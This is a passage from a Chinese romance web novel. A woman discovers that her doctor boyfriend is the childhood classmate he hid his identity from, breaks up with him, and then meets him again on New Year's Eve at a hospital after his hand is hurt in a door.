原本是要先问她想去哪的,但见她这会儿应该也没什么心情,便兀自挑了个方向,行进中反问:“什么?” “就是刚刚啊!”喻了了一脸执着:“你跟大家说我第一次去找你看的是过敏,这件事你是怎么知道的?” 她想想还是觉得不合理,就算自己当时的样子的确可怖,但那对一个皮肤科医生来说,应该也不算太过分吧?既然没有到成为典型案例的地步,那总不能、他那天也对自己一见钟情了吧?? 时霁有些语塞。 老实说,他其实已经有点后悔就这么戳破了这件事,就像他好几次想同她坦白自己到底是谁,却又无从开口一样。 本来是想借着契机,让她慢慢想通并接受,但这会儿见她如此激动,犹豫了会儿,到底还是打回了安全牌:“你知道,有种东西叫就诊记录吗?” 喻了了愣住:“啊?” 他偏头解释:“医保卡一被识别,就能看到在院内就诊过的所有既往病史的那种记录。” “……” 她又陷入新一轮的懵圈当中。 过了好一会儿,才渐渐捋出一条思路,一脸谨慎地问:“所以,你只是因为看得到记录,才知道我还找你看过过敏?并不记得那天的事,也对我的样子完全没有印象,是吗?” 红灯间隙,他微微仰头,难得有种早晚要遭天谴的悲哀。 好半晌,才沉痛应声:“……嗯。” 喻了了闻言,神情顿时舒展开来,大脑被劫后余生似的庆幸侵袭,也就完全没能想到,如果真是这样的话,他怎么从来都不问自己为什么要隐瞒。 很快就又开心起来,左右环顾了下,问他:“那我们现在是去哪呀?” 时霁无声吁了口气,本着多活一天是一天的心态,勉力振作了下:“我家。” “去么?” …… 认识这么久,这还是她第一次受邀来到他家,闻言也根本不在意他是不是图谋不轨……哦,应该是很担心他没有图谋不轨,所以二话不说就跟人走了! 门一打开,先一步就蹿了进去,非常新奇地站在玄关左右张望。 这是套位于城中的公寓,户型看着不大,公区却很宽敞,客厅后面连着书房,后面那排书架她在视频见过,厨房是开放式,当中只有一片连接餐桌的岛台,桌面也仅仅只放着一套杯具。 灰黑的基调,让室内看起来简洁又有质感,通透开阔,更整洁一新到近乎有点变态,因为光墙角里的扫地机器人,她就看到了两台…… 时霁随手开了暖气,又给她拿了双拖鞋,继而直起身说:“外套给我。” “啊?”喻了了回过头来。 “不熏么?”他无奈。 “哦……” 暖气预热很快,她依言脱了外套,又在他挂起来散味的同时换好拖鞋,然后原地等他自己也做完这些,才忽然摊手,意识他得牵着自己进屋。 时霁不觉有些好笑,倒还是配合地把手覆了过去,十指交扣地领着人来到客厅。 右手牵着,只能用左手捞过遥控。 见深色墙面降下一块幕布,投影仪也随之被打开,喻了了扭头问了句:“看电影吗?” “嗯。”他随手挑着片子:“想看什么?” 两人提前离场,虽说时间还早,但真要做点什么又不太够。 他原本是想去电影院的,但这种日子临时订票,位置估计也好不到哪去,索性就把人带了回来,空间大且私密,也方便她折腾。 “都可以。”喻了了也没辜负这份预期,半点不跟他客气,说话间就钻进他的臂弯。 反正一会儿估计也不会看,甚至现在就不太想看,但放着烘托下气氛倒也不是不行。 这么想着,环在他身上的手又隐隐有些蠢蠢欲动,边试探着拨开衣摆,边手脚并用地爬过去,跨坐在他身上开始亲。 时霁甚至没来得及选好片子,眼镜就被摘掉,遥控还在手上,视线模糊地回过眼来,好笑道:“这么急?” “昂~”她亲着他唇角,丝毫不难为情地坦白:“不想看,你想么?” 遥控被随手丢开,他眸色黯下来,回吻她说:“……不想。” “但你知道,这是在家里么。” “知道呀。”她本来就想好了要在这几天,现在的情况看着好像就挺刚好的,便理所当然道:“那样完之后再回去,时间应该也差不多。” “想什么呢。”他不满地啧了下,继而扣着腰身把人翻倒在沙发上,倾身逼近,咬着她的下巴:“真开始了,你还想回去?” 她被扑面而来的重量压懵了一瞬,身体紧密相贴间,温热吐息一路蜿蜒至颈肩,霎时便激得她浑身一颤,以至于仰头承受的声音都有些无助:“那、那就不回。” 听得他无端便涌起了些更深层的破坏欲,指骨绕至衣摆,探抵之前,压低声线同她确认:“确定?” “嗯……” 她抱着他的脖颈,表情呆呆的,像后知后觉有一点点紧张,态 度却毋庸置疑:“确、确定!” 话音落下,呼吸便被剥夺,亲吻深入的同时,腰间探进一只大手,摩挲之间发狠掐了几把,正要继续往上游弋,一切忽地戛然而止。 喻了了迷茫睁眼:“……怎么了吗?” 时霁呼吸顿住,手也退了出来,艰难支起胳膊同她分离了些:“……没买套。” 她愣了下:“那怎么办?” 他沉沉吁了口气,低声道:“你先回房间,我缓一会儿就下去买。” “好。”她一口答应:“那你快点!” 说着便仰头,最后亲了他一下。 而后也不再影响他平复,很快就从臂弯里钻出来,转身走进房间。 她随手把门关上,想着马上要发生的事,有点小雀跃坐到床沿。 心里犹豫着自己是就在这里等,还是先去洗个澡会比较好,视线却忽然被床头的两个摆件吸引住。 说是摆件,其实是两块金牌。 因为分别靠在个特制的金属支架上,展示作用很不错。 第一块她认识。 是七夕那天,他们一起在射箭馆赢下来的。 第二块,她好像也认识。 因为牌面上清楚刻着行“2006年H省少儿武术散打联赛”的标识,没记错的话,这枚金牌的得主就是她本人,而在获奖的当天,她就送给了…… “喻了了——” 房门骤然从外破开。 她拿着那块金牌,偏头看向门口明显有些慌乱的人,还是有点反应不过来:“这个……怎么会在你这里?” 第42章 第42章我可以解释。 倏忽之间,暧昧的心思一扫而空,两人隔着段距离相对而立的气氛,更像是正在对峙。 时霁僵定几秒,才像生怕她会就此离开似的,轻缓往里进了两步,又在迂回和坦白间短暂权衡了下,终于哑然开口:“因为……是你送我的。” 而喻了了这会儿更多的还是懵,语气也仅仅只是在求证:“你是江叙?” 他面色紧绷,时刻注意她的情绪:“嗯。” “转学之后改的名字?” “嗯。” “为什么不说?”她抓着奖牌,一时也有点不知道该是什么心情,脑海却被各种记忆碎片刺得有些阵痛:“你不记得我了?” “记得!” 他又上前几步,想伸手抱她,却被毫不留情地一把拍开:“那为什么不说?” 她不理解:“这是什么难以启齿的事情吗?就算单独说出来可能会有点奇怪,但我不是还当面告诉过你,我找了你好久吗?” 说着又想起来:“你当时是什么反应?不仅不肯告诉我你是谁,还反过来问我‘如果江叙回来,我还会不会喜欢’,可你不就是江叙吗?又为什么要这样问我?” 因为好玩。 因为恶劣的作弄心。 他无可否认,所以一句话也说不出来。 她却好像已经猜到了:“你是不是觉得我很傻呀?这样捉弄我就会很开心?” “不是!”他喉结滚动,半晌才勉力寻到句措辞:“我当时只是、没想过会和你在一起。” 她已经有点生气:“不在一起就可以这样吗?” 他敛眸:“……对不起。” 她却觉得自己配不上这声道歉,因为她好像确实就是有点傻:“所以其实从我去看过敏那天,你就已经通过名字认出我了?却还要假装不知道,甚至一直到刚刚,都还在用‘就诊记录’搪塞我?” “……”他哑口无言。 滤镜一旦被拆除,大脑便清醒的可怕。 她猛然想起,从一开始周晨就提醒过她“那家伙阴得很,可别被他骗了”,想起他多次感慨她是不是被坑了,以及去医院加班那晚,还说在她开始追他的前一段时间,他就准备给一个手控做小三。 开始追他的前一段时间,不就在自己去看过敏的前后吗? 她愣愣的,有点不敢相信,却又不得不相信地问:“那天……你是不是还听到我和陈桃打电话了?” 他面色愈沉,却不敢再有任何侥幸:“是。” “所以,你是听到了我说你手很好看?还有‘我好像出轨了’,就和周晨说你可能要做小三了?” “所以你才会从一开始,就认定了我有男朋友,就算加上微信的第一时间,我就跟你说过自己单身,你也是不相信的!一直到亲耳听到我和高扬聊天,听到我和他并没有什么关系,都还是不敢相信地又问了一遍我是不是没有男朋友?” “也就是说,你不仅觉得我是一个会出轨的人,自己也半推半就,愿意给我做小三?只不过中途突然发现,我其实是单身,但那也无所谓,不管是小三还是男朋友,你都可以?” “所以你到底是什么心态呢?是觉得做小三很刺激,跟我玩玩也无所谓?中途刺激突然没了,但事情既然已经这样了,索性就随便跟我谈一谈,反正怎样都是玩,又不会有什么结果,而且我还那么傻,那干脆就耍我玩一段时间好了?” “不是——”他原本是想等她发泄完,再任凭她怎么处置的,但到这里,就真的已经听不下去了:“不是这样!” 他下颌紧绷,声线滞涩:“我可以解释。” “好。”喻了了看着他:“你说。” 她不是个不讲道理的人,就算是生气吵架,也希望能把事情的前因后果、孰是孰非,都捋得明明白白,如果是误会,她也可以为自己的态度认错道歉。 然而时霁显然没有这样的底气,因为事情就算不全如她所说,他也并非全然无辜,因为这样,哪怕得到了解释的机会,他也有点欲辩无词。 僵持半晌,才谨慎开口:“我……” “我一开始,确实是误会你了,但和周晨说要做小三是开玩笑的,你可以想想,当时你来找我要微信,送吃的,约我出去,我大多也都是拒绝的,只是中间不知道为什么,又总是会被你说动。” “直到七夕那天,你因为工作临时离开射箭馆,我以为你是要去陪男朋友,才清楚的意识到不能再这样下去,所以那之后就我才会对你有点冷淡,你却以为我是在生气,还因为我随口一说就跑到怀岭,搞得满手是伤,没等我反应过来,就又听见你和高扬聊天,发现你真的就是单身。” “我那是其实是有点后怕的,怕你发现我是为了打发你才那么说,下场可能就会比梁正豪还要惨,但要说不动容,一定也是假的。” “所以我才会矛盾的,既同意了高扬拼桌,又在他送你回家后,莫名其妙的感到烦躁。” “我是觉得逗你挺好玩的,但真的没有把你当傻子,跟你在一起也是因为喜欢,而绝不是为了耍你玩。” “至于没告诉你我是谁,一部分是因为已经瞒这么久了,确实没有很好的契机开口,一部分也是因为怕你生气,再引发更多误会。本来刚刚从火锅店出来,我就是想坦白的,但看你对我记不记得你当时的样子那么在意,就又说不出来了。” 喻了了安静听到最后,才再次出声:“说完了吗?” 时霁见她眉心并未舒展,张了张唇,还想补充,却发现可能也无济于事,最终便只低黯地“嗯”了声。 关于这一刻的发生,他其实早有预料,原本以为最坏的结果就是住院,但等事情真正来临,他倒觉得住院其实还挺好的,如果她能消气的话。 然而她却丝毫没有要动手的意思,只拿着奖牌,平静问道:“但我还是很生气,你可以理解吗?” “……可以。” 他喉头发紧,下意识又凑近了点。 还想问她怎样才能消气,只要她肯原谅,让他做什么都行,就听见她说:“那我现在要回去了,请你让开。” 他怔了一下,很快便侧了侧身:“我送你。” 她抬头,极尽冷淡地回绝:“不需要!”- 她径直出了小区,随手在路边拦了辆车,冷着脸拍门离去。 冬日的夜晚冷寂,大街上人烟稀薄,连树影都格外萧条,透过路灯打进车窗的光影分明,条条都像带刺的鞭子,强硬地从她身上抽打而过。 离开了对峙的场景,不再需要同人理论的气场,这份挨打过后的怒意才渐渐转变为委屈。 又反省一般,将曾经种种都铺现在眼前。 她是有些迟钝,但又不是真的傻。 小时候对江叙好,把他的顺从当做乖巧,但再长大一点,便也猜到那其中应该还有恐惧的成分,她想找到他,有一部分原因也是想同他道歉,自然就不会觉得,被自己的阴影笼罩过的他,会真的愿意再和自己有瓜葛。 所以第一次就诊那天,他没有摊牌自己是谁,她完全可以理解。 但一个本身应该要对她避之不及的人,却在听到她要出轨之后,转头就和别人说他要做小三,就算只是开玩笑,难道就完全没有要捉弄她的成分吗? 如果真是开玩笑,那他就应该还是讨厌自己的,在这种前提下,他居然把后来赴自己的约,说成“不知道为什么,又总是会被她说动”,这合理吗? 谁会被讨厌的人说动!要和讨厌的人去约会啊?! 还有七夕那天,她本来是要加班,想和他约周日见面的,如果真如他所说,他以为自己有男朋友,又无意做自己的小三,那他又为什么一定就要约她在周六见?不就是想让她撇下“男朋友”去见他!这样还不算是想做她的小三吗? 既然都想做小三了,也认定她就是个会劈腿的人,还敢说和自己在一起是因为喜欢,而不是要耍她玩? 真以为她是傻子吗?! 她越想越憋屈,鼻尖也在某个瞬间猛地发酸,全然想不明白他到底为什么要这样做,讨厌自己直说就好了呀,她不是也有段时间都自觉远离了他吗?他却又要在那个时候说没有讨厌,还让她想找就去找。 她真的不理解,这么来回折腾自己,是不是真的很有快感啊? 就算她是见色起意,也不见得有多高尚,但她后来对他的喜欢和想对他好,也全都是真的啊。 她也是第一次和别人有这么亲密的关系,第一次想和一个人进一步、再进一步,又凭什么要被人这样耍着玩啊?? 她深吸了口气,越想平复眼底的热意就越止不住,被提醒到达目的地时,连谢谢都不敢说就下了车,生怕听见自己没出息的声音。 可等关上车门,刚往小区里走了一小段,身后就有人疾步跟了上来,冷不丁拉着她停下脚步。 她再也忍不住似的,骤然抬头瞪过去:“干嘛?!” “你——” 猝不及防见到她发红的眼眶,时霁面色一凛,胸口抽麻了下,道歉的话卡在嘴边,顷刻就丧失了力度。 她也不想再这样纠缠,便又按捺了下问:“你还有什么要解释的吗?” 他像是失语了般,停顿半晌,也想不出任何辩驳之词:“……没了。” 能解释都解释了,解释不了的,就是他确实做错了的。 她点点头,自觉已经理得够清楚了,便扬手把拿了一路的奖牌丢进边上的有害垃圾桶,干净利落道:“那我们就分手了!” 第43章 第43章你前男友来了? 喻了了气得沾床就开始翻滚,一直到下半夜都没能入眠,确认睡不着后干脆又爬起来,打开电脑肝了半宿暴力斗殴游戏,到清晨好不容易有点困了,掀开被子刚躺回去,窗外忽然又开始噼里啪啦地,震起一响接一响的摔炮声,还伴随着几个小孩追逐打闹的魔性大笑。 她睁着眼睛听了一会儿,原本是想等消停之后再睡的,结果却发现现在的熊孩子零花钱是真的多! 这都多久了还没摔完?! 家里都有矿是吧? 期末都考了一百,寒假作业也写完了是吧? 那就别怪她路见不平,要替大家教他们怎么做人了—— 她唰的一下拉开房门,汲着棉拖刚往外冲了两步,就猝不及防见客厅沙发上坐着个人,视线对上,双双都有些懵。 叶泽洋:“醒这么早?” 喻了了:“你来干嘛?” 见她眼底乌青,脸比纸白,叶泽洋约摸也猜到了大概,很快便恢复平静,冲餐桌扬了扬下巴说:“去洗漱吧。” “刚路过刘婶那儿,非让提回来的,不吃浪费了。” 她扭头,看见一桌子的早餐和年货,又回过头来:“你喂猪呢?” 他耸耸肩:“可不就喂猪。” “……” 见她拳头攥起,他见好就收,飞快端着笔记本闪到餐厅:“别不识好歹啊,这汤汤水水的我提回来容易吗?” “吃还是不吃?” 喻了了没理他,也有点忘了自己本来是要出来干嘛的,转身就进了洗手间,几分钟后来到餐厅,见他那碗绿豆粥已经拆开晾了会儿,毫不讲理地抢了过来,边喝边问:“芋头糕呢?” 年底事多,叶泽洋还在加急处理客片,闻言头也没回:“自己不会找?” 她又不说话了,闷声继续喝粥。 他这才像是因为没有如期挨到揍,而有点疑惑似的看过去,到底还是把东西给她翻了出来,可等递过去时,她却忽然又不想吃了。 喻了了有个毛病。 生气的时候喜欢暴饮暴食。 她也以为自己只是生气了,等大吃一顿之后就会没事,可这会儿却味同嚼蜡,连粥都有点喝不下去了。 叶泽洋沉默了会儿,最终还是问了:“真分了?” 她抬头,神情怔怔:“……” 他清了下嗓子,偏开头说:“昨晚回来的时候刚好看到了。” “……哦。” 她又喝了口粥,眉眼顺势耷拉下来,并没有心情去和他探讨细节,只想赶紧喝完这碗粥,然后早点回屋补觉。 叶泽洋却故意激她:“这么没出息,失个恋饭都吃不下了?” 他一脸的欠揍样儿,晃着手里的芋头糕说:“这可是刚炸出来的,不吃我吃了。” 喻了了咬牙,当即便抢过来咬了一口:“你才没出息!” 说着又把整桌的早餐都拢过来,无敌凶狠地瞪他:“不准吃!全部都是我的!!!” …… 最终还是暴饮暴食了一顿。 吃饱之后心情确实好了一些,又因为有点晕碳,睡意也越发难以抵抗,感觉再把最后一块蛎饼吃掉,应该就能一觉睡到天黑了。 这么想着,还没等把塞得满嘴的食物咽下,她就又把最后一块捧了起来。 刚准备咬下,门铃忽然响了:“叮咚——” 两人皆是一愣。 很莫名地看出去,又看回来。 家里虽然有门铃,但其实一年到头也响不了两回。 因为她很讨厌难得瘫着的时候,还要起身出去开门,所以发小们都是知道她家密码的,而邻居的叔叔阿姨们,偶尔还送点东西,一般也都是随手敲门,通常嘴里还会伴随一句:“了了哟,快给X婶儿开个门——” 当然了,除这些人之外,也很有可能会是检修水电煤的工作人员,但现在这个时间节点,叶泽洋还是更倾向于:“你前男友来了?” “……” 喻了了滞了一下。 看着手里的蛎饼,原本要一鼓作气干掉的架势中断,忽然就有点吃不下了,便随手放下,站起来说:“我吃饱了。” 说完之后转身,几步绕回房间。 关门上锁,躺进被窝,准备按照原本的计划,一觉睡到天黑。 …… 入户门被拉开,看清站在门口的人是谁时,时霁自己都有点不知该作何感想。 谁都知道她家密码,谁都可以不请自入,而他从始至终都不曾拥有过这项特权。 现在还要被拦在门外,被别的男人当成外人问:“有事?” 他眉心微蹙,难得也有种想用暴力解决问题的冲动,勉力按捺了下,才寡声道:“找喻了了。” 说完便要侧身往里去,叶泽洋却又往前抵了半步,以一种守护的姿态,坚持问明一切:“什么事?” 要是爸爸或哥哥就算了。 竹马而已,是不是太过了? 时霁面色冷峻。 沉默一息,还是答了:“送饭。” “她吃过了。”叶泽洋仍然不肯放行,语气也冷下来:“再 说,这好像也不是你该干的事了吧?” 他一字一顿强调:“你们,已经分手了。” 时霁眉拧愈深,一个猜测在此刻豁然放大:“你喜欢她?” “……” 叶泽洋怔了下,手中门把忽地下压,脱手后反弹,发出咔地一声巨响,等回过神来,再想辩解就已经来不及了。 他神情紧绷,掩藏的敌意也呼之欲出:“很意外?” 时霁轻哂了声:“怎么会。” 喻了了单纯率真,赤诚可爱,谁喜欢她都没什么好意外的,他只是忽然对面前的人有点刮目相看。 难怪。 这便能说得通了。 没记错的话,一回在医院停车场碰到那天,他还亲手把接送的机会推给过自己,虽然过程看似是在吵架甩手,但从结果导向来看,却无疑是在为喻了了考虑。 时霁当时还疑惑,真要那么不想接送,又有谁是可以勉强的?更别说他还表现得那么积极,看着自己抱着人出现,即刻从车里冲出去时,面上的各色神情,现在回想起来,倒还真是恰如其分。 反观现在,自己和喻了了之间才刚有了问题,他竟也能在第一时间察觉并出现,怕是就这一上午,演技都提升不少吧。 她喜欢便帮她追,她不喜欢就帮她赶。 这么无私的感情,连身为情敌,他都不禁想替他“讨伐”一句:“藏这么深,就没想过让她知道?” “……” 叶泽洋却未见得像听到什么好话,侧身后退半步,反手便将房门拍上:“与你无关!”- 虽然昨晚的事态严重到有点超出想象,但其实事发时,时霁也是有过一丝轻松的,因为既然潜在的矛盾不会消失,那么不管早晚都必定会有所爆发。 他甚至也有过好几次“早触发早解决”的念头,所以直至今天过来之前,他其实都还算冷静,还能劝自己不管是谁,遇到这样的事都不可能立刻原谅,上门也只是为了表明自己的态度,并没指望事情会就这么轻易揭过。 可经此一遭,才发现自己的承受能力其实也就那样。 女朋友要分手,微信不回电话不接,还转头就和一个危险分子共处一室,而他不仅只能放任处之,甚至连过问的权利都没有。 他回到车里,神情在思虑中愈渐深沉,最终还是没能按捺住,翻出手机又发了条消息:【我今天都有空,在小区门口等你,想去哪随时下来都可以】 而后果不其然,前置的红色感叹号依然没有消失,他还安静躺在她的黑名单里。 手机被丢到一旁,他吁了口气,偏头看向窗外。 老式小区的人气很足,又因为年节将至,陈旧街道被鲜亮的红色和欢快的笑脸装点,越发地富有感染力。 假期第一天。 他们本该阔别忙碌,不舍昼夜地腻在一起,却冷不丁被隔绝在热闹之外,落空的猝不及防。 …… 沉寂了半个下午,他想起上回那家中餐厅她还挺喜欢的,一直也没机会带着去第二次,就想着开车过去打包,又怕自己一走,刚好错过她外出。 虽然不太可能,他却还是打了电话选择外送。 天快黑下来的时候,骑手准时将外卖送达。 他下车取完餐,正准备往里走,转身便看到了个眼熟的身影。 陈桃也挺意外的,睁大眼睛走过来:“时医生,来找了了吗?” “嗯。”时霁默了下,想到自己送去的话,八成又是无功而返,便斟酌着把手里的东西递了出去:“方便帮我把这些带给她吗?” “?”陈桃满脸疑惑:“你自己怎么不送?” 本来他单独出现在这她就挺奇怪的,毕竟这都放假了,以喻了了对他的积极劲儿,还不得一睁眼就往跟前凑。 可这会儿不仅分体,还让她帮忙跑腿,简直不要太可疑好吗:“吵架了?” 时霁苦笑了下:“不算。” “是我惹她生气。” 陈桃却听傻了:“……你咋惹的?” 要知道,喻了了虽然脾气炸了点儿,忘性却也是很大的,小区里几乎所有人都知道,要是不小心惹到她,只要能稳住不被当场抓到,最多不过半天,这事儿保管就算翻篇,在她那儿,压根就没有以记仇来气自己的道理。 所以除了和老父亲的陈年恩怨外,陈桃还从来没见她生谁的气超过一天,更别说这还是她最近的“心头宝”,宽容程度就很难会有下限好吗! 本来让她帮个忙是没什么。 但要是惹到了这种级别,这单子她可就轻易不敢接了。 时霁却缄口不言,只掂了掂手里的外卖,不着痕迹地把面单暴露在外,而后稀松平常地说:“买的有点多。” “要是方便的话,你可以留下和她一起吃。” “……” 陈桃顺势低头,乍一扫到餐品总价的时候,眼珠子都差点没瞪出来:“我可太方便了!!!” …… 十分钟后。 陈桃做贼似的解开对门的密码,见屋内一片昏黑,便伸手开了客厅的顶灯,又把外卖小心放在餐桌上后,才来到次卧门前,谨慎地敲了三下。 几秒后没听到反应。 又敲了三下。 反复几次之后,刚打算摸手机拨个语音试试,房门就唰地一下从内拉开。 喻了了睡得头发稀乱,顶着客厅的强光,眼睛都睁不太开,没等看清是谁,就非常躁郁地喊道:“干嘛?!” “……” 陈桃敢壮胆来找人,一是因为金钱的魅力,二也是有点儿好奇到底发生了什么事,然而直球问肯定是不行的:“你咋了?怎么睡到现在?” 喻了了闻言,眼睛才睁开一条缝,见窗外夜幕已至,被吵醒也无可厚非,便耷拉着眼皮回:“昨晚通宵打游戏,早上十点多才睡。” “哦。”她应了一声,又试探:“没别的原因?” 比如为什么要通宵打游戏之类的。 喻了了很奇怪地睨她一眼:“还有什么原因?” 被熊孩子摔炮耽误了会儿算不算? 陈桃又审视了会儿,见她这浑身上下好像也没有哪里不正常啊,该不会是因为睡觉一整天没回消息,时医生就误以为她生气了吧? 这么想着,她便轻松了一点,指向餐桌说:“晚饭吃不吃?” 喻了了半点不饿,但见人都已经把饭提进来了,就还是问:“多少钱?” 陈桃刚才看到面单时就有过想法,这会儿见她还有点神志不清,犹豫了下,还是觉得不赚白不赚:“2280。” 喻了了睡眼一秒放大,没好气瞪她:“你自己留着吃吧!” 见倒手无望,她反而理直气壮起来:“真的是2280!时医生买的,我好心送上来,你就这态度?” “……” 喻了了愣了下,这才认真看了下餐桌上的外卖标识,眼底霎时染上愠色,二话不说开始赶人:“拿起来,滚出去!” 陈桃被轰懵了。 本以为是时霁小题大做,但见这阵仗:“真吵架了??” “他刚说我还不信呢!”她睁大眼睛,八卦之魂一旦燃烧,嘴上就完全没法把门:“所以他到底怎么你了?劈腿?养小三?还是骗你钱了?那也不应该啊,要是这样的话,你当场断他一条腿不就……” 喻了了正想着该用什么方法让她永久性失声才能不犯法,刚好入户门再次打开,又有人拎着晚餐从外头进来。 她看过去,当即勒令:“叶泽洋,咬她!” 叶泽洋:“……” 陈桃:“……” …… 陈桃火速夹着外卖溜了,并非常“遗憾”地给予反馈:【她不肯要,我只好带走了】 对面倒像是有心理准备,对此也没什么反 应,只问了几句喻了了的状况,还特意询问了下家里还有没有别人。 陈桃想了一下,很自然地答:【人没有,狗有一只】 时霁:【……】 可真不如是人呢。 她嘴里炫得飞起,也没在意他问这个干嘛。 正想着这么好吃的东西,要是天天都能吃到就好了,对面就抛来了橄榄枝:【方便之后再帮忙送一段时间吗?会把你的份一起点上】 【如果可以的话,这段时间也请你多陪陪她,产生的费用我来报销】 【就是尽量别让她独处】 陈桃看得满脑子问号:还有这种好事?而且她好像也没有伤心欲绝到需要一直有人陪着的地步吧?? 但本着多年的闺蜜情,她还是对她能有个如此贴心的嫩朋友深表欣慰:【好的,没有问题!】 时霁道了声谢,继而又说:【另外,再请你帮我带句话,就说我明天要补班,大概五点左右才能过来,之后就正常休息,会一直在这里等她】 第44章 第44章你想被炸飞? 喻了了是在微信里收到这句话的。 传话完成最直接的结果,就是陈桃也被拉黑了,其次则是自这天起,但凡她有外出,走的就全是后门! 想逮住她。 别说门了,窗都没有! 然而就算出逃成功,她的探索之旅也并不十分顺心。 第一天上午在道馆打坏徐浩然一个沙包,下午就被赶到郭子凡的餐厅端盘子抵债,晚上怒砸200刮的体彩血本无归,不信邪又去福彩赔了200……第二天大早被朱莉莉拖去做全了“超级加辈”的过年三件套,刚吃完中饭就又被叶泽洋抓去摄影棚当了壮丁,还非常过分地嘲笑了半天她的华丽奶奶卷…… 折腾到过年前夕,她也属实是有点累了,才给手机设了静音,一觉睡到了大下午,醒来的时候老喻还是不在。 家里空荡荡的,也没有暖气,冷得像个冰窟。 她站在房门前,茫茫然地挨了会儿冻,还是气不过似的,来到主卧门前,愤愤地踢了一脚,扭头看到餐桌上放着个厚实的大红包,才勉强满意了点儿,噘着嘴哼了一声:“也不是那么不懂事嘛。” 她把红包收好,又简单收拾了下,刚好就有人过来拍门喊吃饭了。 因为早年喻母去世,喻坚强工作又忙,所以中学有几年喻了了就算是寄养在对面,到大学之后才开始完全自理,但逢年过年还是会经常被叫过去。 陈淑萍每到这会儿倒也大方,做了一桌子山珍海味,只叫她尽管吃,虽然可能是因为老喻提前塞过红包,但她也没觉得有什么不对,贪财就是贪财,算是人之常情,也很真实,不像某些人…… 意识到思绪又开始偏离,她甩甩脑袋,伸手夹了只红鲟,一脸认真地在那剥壳,也就完全没注意坐在对面的陈桃,正捧着手机和谁发消息。 兀自填了会儿肚子,想起自己的手机被静音了大半天,这才擦手了下解锁查收,果不其然已经显示一堆未读,但大多都是些转发的祝福和群消息,她大致翻过,挑了几条有必要的回了一下,最后看到叶泽洋在两小时前发的:【醒没】 她顿了下,随手回:【昂】 【在对面吃饭】 叶泽洋:【我去接炮了,一会儿楼下见?】 喻了了:【啊?】 叶泽洋:【……】 她眨了眨眼,想起什么:【哦】 【好】 前两天她被楼下的摔炮吵得睡不着,叶泽洋就随口问了句想不想玩,得到肯定的答案后,又问想玩什么款式的。 喻了了的回答是:“响的!” “又猛又响的,我一点火他们全都得闪一边的那种!” 叶泽洋怀疑她说的是炸弹,却还是抽空去安排了,谁知道人转头就给忘了,他忍住住呛了一句:【不玩我现在就拿去送人】 【玩玩玩!】 喻了了立刻站起来:【我回去收拾下就下楼等你!】 说完收回手机,撂下一句“要出去玩”就提前走了,回家换了件厚外套,裹上围巾,临出门前照了下镜子,还是差点没被自己的新发型给“美晕”过去。 其实睡过一觉,已经比昨天自然多了,但不知道是不是没化妆的原因,就有点撑不起这么时髦的造型,可她现在又完全不想化妆,最后只能翻出皮筋,扎了个丸子头,假装自己没烫过。 收拾完毕,她又对着镜子扯了扯嘴角,最后来到玄关,换好鞋后打开家门,正要出去,便看到楼梯上有道行进的身影。 视线对上,双方皆有些愣怔。 她穿着深灰的长大衣,围巾挨着下颌,唇角上扬,长发挽起,看着本该是副简单而精神的模样,整个人却是莫名失落,与往日的跳脱大相径庭。 像对一切都没什么兴趣,却还要强撑着假装不是这样。 而他同样穿着件深色大衣,分明是挺括的版型,却仍能看出清减不少,楼道光线昏灰,打在脸上的阴影也较往日更深,连架在鼻梁的眼镜都多了层破碎。 就好像几天不见,对他的影响真有多大一样。 喻了了看着就烦,手臂用力一拉,直接把门带上。 时霁见状,立刻又往上两步,手掌刚扣住门板,就被巨大的惯性带走,夹进门缝发出“咔”一声巨响。 喻了了惊疑回头,看清状况后迅速松了门把,再抬头时眼眶都是红的:“你干嘛啊?!” 时霁胸口倏然一紧,当下也顾不得太多,强自动了动手掌,便安慰她说:“没事的,就只是碰了一下而已。” 喻了了却觉得他果然是把她当傻子,不仅对自己用了什么力气没半点数,这么多年比赛打架,也对受伤的程度完全没有经验。 她绷着脸,一句话都不想多说,出门就径直往楼下走。 时霁一路跟到了小区门口,以为是要被当面轰走,却见她忽然在车前站定,冷声说:“钥匙。” 她把人撞伤,有80%伤到骨头的可能,现在最明智的做法,就是尽快把人送到医院,及时接受治疗,避免纠纷扩大。 仅此而已- 大年三十,整个街道都整肃一空,急诊门前却依然人头攒动,混乱拥挤。 她排到长队之后挂好号,又根据指示约了个X光,继而带着人来到放射科,坐在长椅上等待叫号。 这里相对急诊人少一些,安静下来的气氛就有点难以忽视。 她拿着排号单,除了不时看一眼叫号屏幕就无事可做,想玩手机假装忙碌,边上的人又都能看到,最后就只能木着脸发呆,感觉被盯着不自在了,再扭头开始打量医院的装修。 长久的沉寂过后,边上忽然传来声音:“对不起。” 她脊背一僵,有些愣怔:“……什么?” 时霁看着她:“惹你生气。” “大过年还要来医院。” 她抿了抿唇,憋闷道:“对不起有用吗。” “没用。”他低眸,见她手指都绞在一起,声线沉郁:“但应该比不说会好些,就还是想和你说一声,对不起。” “……”她眉眼耷拉下来,也盯着自己的手指,目光却在一点点涣散。 老实说,她的确是个忘性很大的人,这么胡乱打了几天岔,都有点忘了自己到底在较什么劲。 真要论起来,也未必就有多生气,她只是发现,一旦生气的感觉淡了,就会反噬延伸出许多其它的情绪,未见得就会比生气好过,所以她宁愿让自己生气,至少这种感觉她足够熟悉,也不至于会受不了。 但他现在要跟自己道歉,她就又得去想,自己到底为什么会这么生气,连这样他都还要打断:“我知道错了。” 他拉过她的手,轻缓握进手心,眼底是少见的真诚与不安:“很早的时候就知道了,只是当时事情已经发生,又想不到该怎么跟你坦白。” “你想怎么样都好,但至少给我个机会,别直接就分手行吗?” 手心被温热包裹。 维持多日的信念也因此有些软化。 以前看肥皂剧,她就觉得情侣之间一吵架就闹分手的行为还挺不好的,可轮到自己却也没能免俗,她承认那晚是有点冲动过头,这些天也未必就没有一点后悔。 而他这样的要求好像也不算过分,可细品起来,“她想怎么样都好” ,这样的话又到底有什么意义呢?她既没什么好骂的,动手也没什么意思,那她究竟又能怎么样呢?所以这其实就像是一句空话一样,随着时间推移、事过境迁,自然就会被淡忘。 她是有点忘了自己为什么要生气,可被欺骗过的感觉却依然鲜明,她不知道自己想怎么样,但至少现在,她还是不想原谅他。 便挣扎着把手抽出来,像没听到一样偏过头去,也不再搭理他。 时霁指尖轻颤,还想再说些什么,最后却连自己都觉得意义不大,到底还是沉默下来。 直到喇叭又叫过两个号,才张了张唇,想借着背景音换个轻松点儿的话题,却又被她的手机铃声打断。 喻了了听见动静便把手机摸了出来,看见来电显示的时候才惊觉不妙,接听时更是心虚不已:“喂……” “人呢?”叶泽洋疑惑道。 